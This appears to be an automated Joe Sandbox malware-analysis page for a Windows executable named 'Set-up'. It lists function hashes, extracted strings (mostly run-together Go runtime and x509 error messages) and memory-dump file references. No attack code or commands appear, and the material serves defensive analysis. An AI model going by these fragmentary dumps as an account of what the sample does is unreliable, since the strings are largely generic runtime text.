Instruction ID: 9f52cb8e9dc19dc7971183b1c0f6d9aaa7009319eb13a97b637aad715ec71516
Opcode Fuzzy Hash: 3f12131c717c495b6b98c31ba240555ee09125b1d14c1fa2b61b91be6b0bc45f
Instruction Fuzzy Hash: C751C574509B019FC300EF64E185A1EBBE0EF88744F84882DF8898B356E7B5E9449B73

Function 00D89C20 Relevance: 5.1, Strings: 4, Instructions: 114COMMON

Download Yara Rule

Strings

shrinkstack at bad timespan has no free stacksstack growth after forksyntax error in patternsystem huge page size (too many pointers (>10)truncated tag or lengthwork.nwait > work.nprocx509: invalid key usagex509: malformed UTCTimex509: malformed version1164153, xrefs: 00D89D73
bad status in shrinkstackbad system huge page sizechansend: spurious wakeupcheckdead: no m for timerexplicit tag has no childinconsistent poll.fdMutexinvalid cross-device linkinvalid network interfaceinvalid object identifiermissing stack in newstackmissing tr, xrefs: 00D89D89
missing stack in shrinkstackmspan.sweep: m is not lockednewproc1: new g is not Gdeadnewproc1: newg missing stackos: process already finishedprotocol driver not attached : len > cap : In of non-func typeregion exceeds uintptr range , xrefs: 00D89D9F
shrinking stack in libcallstartlockedm: locked to metoo many colons in addresstruncated base 128 integeruse of invalid sweepLockerx509: invalid simple chainx509: malformed extensionsx509: malformed parameters is not assignable to type not in stack roots range, xrefs: 00D89D5D

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: bad status in shrinkstackbad system huge page sizechansend: spurious wakeupcheckdead: no m for timerexplicit tag has no childinconsistent poll.fdMutexinvalid cross-device linkinvalid network interfaceinvalid object identifiermissing stack in newstackmissing tr$missing stack in shrinkstackmspan.sweep: m is not lockednewproc1: new g is not Gdeadnewproc1: newg missing stackos: process already finishedprotocol driver not attached : len > cap : In of non-func typeregion exceeds uintptr range $shrinking stack in libcallstartlockedm: locked to metoo many colons in addresstruncated base 128 integeruse of invalid sweepLockerx509: invalid simple chainx509: malformed extensionsx509: malformed parameters is not assignable to type not in stack roots range$shrinkstack at bad timespan has no free stacksstack growth after forksyntax error in patternsystem huge page size (too many pointers (>10)truncated tag or lengthwork.nwait > work.nprocx509: invalid key usagex509: malformed UTCTimex509: malformed version1164153
API String ID: 0-1834865256
Opcode ID: 371ea1ac6088c51ba895024c421fcb39b1906909326471a3020c2c861cfbec77
Instruction ID: 0aa813eb941cddcfde8e8c23dd6d67a1715d50aecc294bed19dc0c4492c1cfb2
Opcode Fuzzy Hash: 371ea1ac6088c51ba895024c421fcb39b1906909326471a3020c2c861cfbec77
Instruction Fuzzy Hash: CE4136786042058FCB24EF24C5A1B79B7E5EB84700F4C486CE8C98B352E735D944DB72

Function 00D684A0 Relevance: 5.1, Strings: 4, Instructions: 95COMMON

Download Yara Rule

Strings

sysGrow bounds not aligned to pallocChunkBytesx509: failed to parse rfc822Name constraint %qx509: failed to unmarshal elliptic curve pointx509: malformed signature algorithm identifier (temporarily override with GODEBUG=x509sha1=1)Export directory contains man, xrefs: 00D685F0
., xrefs: 00D685F9
, limit = /dev/stdin012345678912207031256103515625AdditionalAssemblyOSBad varintC:\WindowsCancelIoExChorasmianClassCHAOSClassCSNETCreateFileCreatePipeDSA-SHA256DeprecatedDevanagariDispInvokeDnsQuery_WECDSA-SHA1Exception GC forcedGOMAXPROCSGetIfEntryGetVersion, xrefs: 00D685BC
runtime: base = runtime: gp: gp=runtime: head = runtime: nelems=schedule: in cgotime: bad [0-9]*timeBeginPeriod, xrefs: 00D68592

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: , limit = /dev/stdin012345678912207031256103515625AdditionalAssemblyOSBad varintC:\WindowsCancelIoExChorasmianClassCHAOSClassCSNETCreateFileCreatePipeDSA-SHA256DeprecatedDevanagariDispInvokeDnsQuery_WECDSA-SHA1Exception GC forcedGOMAXPROCSGetIfEntryGetVersion$.$runtime: base = runtime: gp: gp=runtime: head = runtime: nelems=schedule: in cgotime: bad [0-9]*timeBeginPeriod$sysGrow bounds not aligned to pallocChunkBytesx509: failed to parse rfc822Name constraint %qx509: failed to unmarshal elliptic curve pointx509: malformed signature algorithm identifier (temporarily override with GODEBUG=x509sha1=1)Export directory contains man
API String ID: 0-2206806273
Opcode ID: 4fbf83b2c0e7e2b41591f06f3b1c4b782c7604ef138ba87849bd3f6f843116cc
Instruction ID: 3681d4f4360684fe4b8249051d57bd2706dbe5382ff2d7a96baa5059dff91fa0
Opcode Fuzzy Hash: 4fbf83b2c0e7e2b41591f06f3b1c4b782c7604ef138ba87849bd3f6f843116cc
Instruction Fuzzy Hash: 66319E759087198BCB10EF24D48036EB7E5FB88700F85892DE98A97356DB70E845DBB3

Function 00D77420 Relevance: 5.1, Strings: 4, Instructions: 90COMMON

Download Yara Rule

Strings

runtime: g: g=runtime: addr = runtime: base = runtime: gp: gp=runtime: head = runtime: nelems=schedule: in cgotime: bad [0-9]*timeBeginPeriod, xrefs: 00D7752A
, gp->atomicstatus=149011611938476562520060102150405Z07007450580596923828125ARM64 little endianAltai Standard TimeBahia Standard TimeCanadian_AboriginalChina Standard TimeCreateSymbolicLinkWCryptReleaseContextDllUnregisterServerEgypt Standard TimeGC work not f, xrefs: 00D774C6
, g->atomicstatus=, gp->atomicstatus=149011611938476562520060102150405Z07007450580596923828125ARM64 little endianAltai Standard TimeBahia Standard TimeCanadian_AboriginalChina Standard TimeCreateSymbolicLinkWCryptReleaseContextDllUnregisterServerEgypt Standar, xrefs: 00D77576
, goid=, j0 = 19531252.5.4.32.5.4.52.5.4.62.5.4.72.5.4.82.5.4.99765625AvestanBengaliBorlandBrailleChanDirCopySidCypriotDeseretEd25519ElbasanElymaicFreeSidGODEBUGGranthaHanunooIO waitImplMapJanuaryKannadaMD2-RSAMD5-RSAMUI_DltMUI_StdMakasarMandaicMarchenMultaniM, xrefs: 00D7749C, 00D7754C

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: , g->atomicstatus=, gp->atomicstatus=149011611938476562520060102150405Z07007450580596923828125ARM64 little endianAltai Standard TimeBahia Standard TimeCanadian_AboriginalChina Standard TimeCreateSymbolicLinkWCryptReleaseContextDllUnregisterServerEgypt Standar$, goid=, j0 = 19531252.5.4.32.5.4.52.5.4.62.5.4.72.5.4.82.5.4.99765625AvestanBengaliBorlandBrailleChanDirCopySidCypriotDeseretEd25519ElbasanElymaicFreeSidGODEBUGGranthaHanunooIO waitImplMapJanuaryKannadaMD2-RSAMD5-RSAMUI_DltMUI_StdMakasarMandaicMarchenMultaniM$, gp->atomicstatus=149011611938476562520060102150405Z07007450580596923828125ARM64 little endianAltai Standard TimeBahia Standard TimeCanadian_AboriginalChina Standard TimeCreateSymbolicLinkWCryptReleaseContextDllUnregisterServerEgypt Standard TimeGC work not f$runtime: g: g=runtime: addr = runtime: base = runtime: gp: gp=runtime: head = runtime: nelems=schedule: in cgotime: bad [0-9]*timeBeginPeriod
API String ID: 0-1504408036
Opcode ID: 6e658364283bf0aad711a32d27e74690d51b7f5dffe13f85af5d436c2eece87f
Instruction ID: db6054ff15c5047f15d340f999d746630629be42d9c8a72812654656a3579cab
Opcode Fuzzy Hash: 6e658364283bf0aad711a32d27e74690d51b7f5dffe13f85af5d436c2eece87f
Instruction Fuzzy Hash: 254160B4508B458FC704EF24E185A5ABBE1FF88704F458C6DE88887356E7B4A9489B73

Function 00D60320 Relevance: 5.1, Strings: 4, Instructions: 84COMMON

Download Yara Rule

Strings

min too largenil stackbaseout of memoryparsing time powrprof.dll, xrefs: 00D6040A
!, xrefs: 00D60462
runtime: min = runtimer: bad pscan missed a gstartm: m has pstopm holding punknown Go type already; errno= mheap.sweepgen= not in ranges: untyped locals , not a function0123456789ABCDEF0123456789abcdef2384185791015625: value of type AddDllDirectory, xrefs: 00D603D6, 00D60425
min must be a non-zero power of 2misrounded allocation in sysAlloc .nameFrom: name too long: : Field index out of range : NumOut of non-func type : array index out of range : chanDir of non-chan type : slice index out of r, xrefs: 00D60459

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: !$min must be a non-zero power of 2misrounded allocation in sysAlloc .nameFrom: name too long: : Field index out of range : NumOut of non-func type : array index out of range : chanDir of non-chan type : slice index out of r$min too largenil stackbaseout of memoryparsing time powrprof.dll$runtime: min = runtimer: bad pscan missed a gstartm: m has pstopm holding punknown Go type already; errno= mheap.sweepgen= not in ranges: untyped locals , not a function0123456789ABCDEF0123456789abcdef2384185791015625: value of type AddDllDirectory
API String ID: 0-3415125760
Opcode ID: d377b2c19df0d6a10e7ce76ffc9abc8a18e565274458fcfc9e337bd0a53c0d57
Instruction ID: 020fad8193bceb920d583b36f51caa0f34c8cc829ee68ee6a34a9cc4cc0b339a
Opcode Fuzzy Hash: d377b2c19df0d6a10e7ce76ffc9abc8a18e565274458fcfc9e337bd0a53c0d57
Instruction Fuzzy Hash: 883157745087498BD710FF64C18171EBBE0FF84708F84895DE89887382EB749A499B73

Function 00D7FF10 Relevance: 5.1, Strings: 4, Instructions: 81COMMON

Download Yara Rule

Strings

p->status= s.nelems= schedtick= span.list= timerslen=%!(BADPREC), elemsize=, npages = -syncWithWU/dev/stderr/dev/stdout30517578125: frame.sp=AssemblyRefBLAKE2b-256BLAKE2b-384BLAKE2b-512BLAKE2s-256BoundImportClassHESIODClassLayoutCloseHandleCoGetObjectCreateF, xrefs: 00D80017
releasep: m=runtime: gp=runtime: sp=self-preemptsetupapi.dllshort bufferspanSetSpinesweepWaiterstraceStringswintrust.dllwirep: p->m=worker mode wtsapi32.dll != sweepgen (default %q) (default %v) MB globals, MB) workers= called from flushedWork idlethreads=, xrefs: 00D7FFA9
m->p= max= min= next= p->m= prev= span=% util(...), i = , not .reloc390625<-chanAnswerArabicAugustBrahmiCarianChakmaCommonCopticENCLogENCMapExpectExportFlags=FormatFridayGOROOTGetACPGothicHangulHatranHebrewHyphenIgnoreImportKaithiKhojkiLepchaLycianLydianMI, xrefs: 00D7FFCB
releasep: invalid argruntime: confused by runtime: newstack at runtime: newstack sp=runtime: searchIdx = runtime: work.nwait= sequence tag mismatchstale NFS file handlestartlockedm: m has pstartm: m is spinningstate not recoverabletimer data corruptiontrace/br, xrefs: 00D80061

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: m->p= max= min= next= p->m= prev= span=% util(...), i = , not .reloc390625<-chanAnswerArabicAugustBrahmiCarianChakmaCommonCopticENCLogENCMapExpectExportFlags=FormatFridayGOROOTGetACPGothicHangulHatranHebrewHyphenIgnoreImportKaithiKhojkiLepchaLycianLydianMI$ p->status= s.nelems= schedtick= span.list= timerslen=%!(BADPREC), elemsize=, npages = -syncWithWU/dev/stderr/dev/stdout30517578125: frame.sp=AssemblyRefBLAKE2b-256BLAKE2b-384BLAKE2b-512BLAKE2s-256BoundImportClassHESIODClassLayoutCloseHandleCoGetObjectCreateF$releasep: invalid argruntime: confused by runtime: newstack at runtime: newstack sp=runtime: searchIdx = runtime: work.nwait= sequence tag mismatchstale NFS file handlestartlockedm: m has pstartm: m is spinningstate not recoverabletimer data corruptiontrace/br$releasep: m=runtime: gp=runtime: sp=self-preemptsetupapi.dllshort bufferspanSetSpinesweepWaiterstraceStringswintrust.dllwirep: p->m=worker mode wtsapi32.dll != sweepgen (default %q) (default %v) MB globals, MB) workers= called from flushedWork idlethreads=
API String ID: 0-2313186036
Opcode ID: c85bcc5590800c981b52aaa227b9bab7622a46c0db78dbc2b8fa748ee8e4d2cf
Instruction ID: 5d8f04b1b849667f7989bc9350eb3f584a8c48050e9d5c4af940731c10842a83
Opcode Fuzzy Hash: c85bcc5590800c981b52aaa227b9bab7622a46c0db78dbc2b8fa748ee8e4d2cf
Instruction Fuzzy Hash: 4F31DFB4509B058FD300EF24D18475ABBE0FF88704F45896EE8888B316E7759948DB73

Function 00D66470 Relevance: 5.1, Strings: 4, Instructions: 78COMMON

Download Yara Rule

Strings

root level max pages doesn't fit in summary : finalizer already set : first argument is nilruntime: casfrom_Gscanstatus bad oldval gp=runtime: heapBitsSetTypeGCProg: total bits runtime: releaseSudog with non-nil gp.paramru, xrefs: 00D665A2
+, xrefs: 00D665AB
runtime: summary max pages = semacquire not on the G stackstring concatenation too longsyntax error scanning booleantimeBegin/EndPeriod not foundtoo many open files in systemx509: cannot parse URI %q: %sx509: cannot parse dnsName %qx509: malformed serial numbe, xrefs: 00D6656E
runtime: root level max pages = runtime: setevent failed; errno=runtime: stack split at bad timeruntime: sudog with non-nil elemruntime: sudog with non-nil nextruntime: sudog with non-nil prevscanstack: goroutine not stoppedslice bounds out of range [%x::]slic, xrefs: 00D66526

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: +$root level max pages doesn't fit in summary : finalizer already set : first argument is nilruntime: casfrom_Gscanstatus bad oldval gp=runtime: heapBitsSetTypeGCProg: total bits runtime: releaseSudog with non-nil gp.paramru$runtime: root level max pages = runtime: setevent failed; errno=runtime: stack split at bad timeruntime: sudog with non-nil elemruntime: sudog with non-nil nextruntime: sudog with non-nil prevscanstack: goroutine not stoppedslice bounds out of range [%x::]slic$runtime: summary max pages = semacquire not on the G stackstring concatenation too longsyntax error scanning booleantimeBegin/EndPeriod not foundtoo many open files in systemx509: cannot parse URI %q: %sx509: cannot parse dnsName %qx509: malformed serial numbe
API String ID: 0-1971791911
Opcode ID: e84f0c648ca736c7d9f0cd8b00f7b5c0963c3139e025f3d72c6d6af14adc21ea
Instruction ID: 0fddc311184555c16c6b98235baee71a84317f4f137563ace3b092bcf6785413
Opcode Fuzzy Hash: e84f0c648ca736c7d9f0cd8b00f7b5c0963c3139e025f3d72c6d6af14adc21ea
Instruction Fuzzy Hash: 4C310B746047018BC300EF64E18575ABBE1FF84744F54882DE8898B756EB75E84ADB73

Function 00D67B40 Relevance: 5.1, Strings: 4, Instructions: 77COMMON

Download Yara Rule

Strings

, bound = , limit = /dev/stdin012345678912207031256103515625AdditionalAssemblyOSBad varintC:\WindowsCancelIoExChorasmianClassCHAOSClassCSNETCreateFileCreatePipeDSA-SHA256DeprecatedDevanagariDispInvokeDnsQuery_WECDSA-SHA1Exception GC forcedGOMAXPROCSGetIfEntry, xrefs: 00D67C38
, size = , tail = -07:00:00244140625: status=AuthorityBassa_VahBhaiksukiClassINETCuneiformDiacriticExceptionFindCloseGlobalPtrHex_DigitInheritedInterfaceKhudawadiLocalFreeMalayalamMemberRefMethodDefMethodPtrModuleRefMongolianMoveFileWNabataeanPalmyreneParseUin, xrefs: 00D67BC4
range partially overlaps resource length too longrunqsteal: runq overflowruntime: VirtualFree of runtime: found obj at *(runtime: markroot index runtime: p.searchAddr = span has no free objectsstack trace unavailablestructure needs clea, xrefs: 00D67C6C
runtime: addr = runtime: base = runtime: gp: gp=runtime: head = runtime: nelems=schedule: in cgotime: bad [0-9]*timeBeginPeriod, xrefs: 00D67B9A

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
